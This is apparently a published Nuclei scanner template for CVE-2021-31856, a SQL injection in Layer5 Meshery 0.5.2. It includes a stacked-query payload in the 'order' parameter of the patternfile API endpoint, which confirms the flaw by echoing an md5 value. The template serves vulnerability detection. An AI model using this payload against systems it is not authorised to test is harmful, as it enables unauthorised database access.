Layer5 Meshery 0.5.2 - SQL Injection

ID: CVE-2021-31856

Severity: critical

Author: princechaddha

Tags: cve2021,cve,sqli,layer5

Description

Layer5 Meshery 0.5.2 contains a SQL injection vulnerability in the REST API that allows an attacker to execute arbitrary SQL commands via the /experimental/patternfiles endpoint (order parameter in GetMesheryPatterns in models/meshery_pattern_persister.go).

YAML Source

id: CVE-2021-31856

info:
  name: Layer5 Meshery 0.5.2 - SQL Injection
  author: princechaddha
  severity: critical
  description: Layer5 Meshery 0.5.2 contains a SQL injection vulnerability in the REST API that allows an attacker to execute arbitrary SQL commands via the /experimental/patternfiles endpoint (order parameter in GetMesheryPatterns in models/meshery_pattern_persister.go).
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Upgrade to a patched version of Layer5 Meshery or apply the necessary security patches to mitigate the SQL Injection vulnerability (CVE-2021-31856).
  reference:
    - https://github.com/ssst0n3/CVE-2021-31856
    - https://nvd.nist.gov/vuln/detail/CVE-2021-31856
    - https://meshery.io
    - https://github.com/layer5io/meshery/pull/2745
    - https://github.com/ssst0n3/my_vulnerabilities
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-31856
    cwe-id: CWE-89
    epss-score: 0.03274
    epss-percentile: 0.91056
    cpe: cpe:2.3:a:layer5:meshery:0.5.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: layer5
    product: meshery
  tags: cve2021,cve,sqli,layer5
variables:
  num: "999999999"

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/experimental/patternfile?order=id%3Bselect(md5({{num}}))&page=0&page_size=0"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5({{num}})}}'

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100dc24b7b8c9a02edd77d99e064bdc7ac116528ed4c2f244ce785713d859aac2840221008896cb4510f2537bc98a17b645228cbf28cecb64480e9a34ba02c71dc563dc22:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-31856.yaml"

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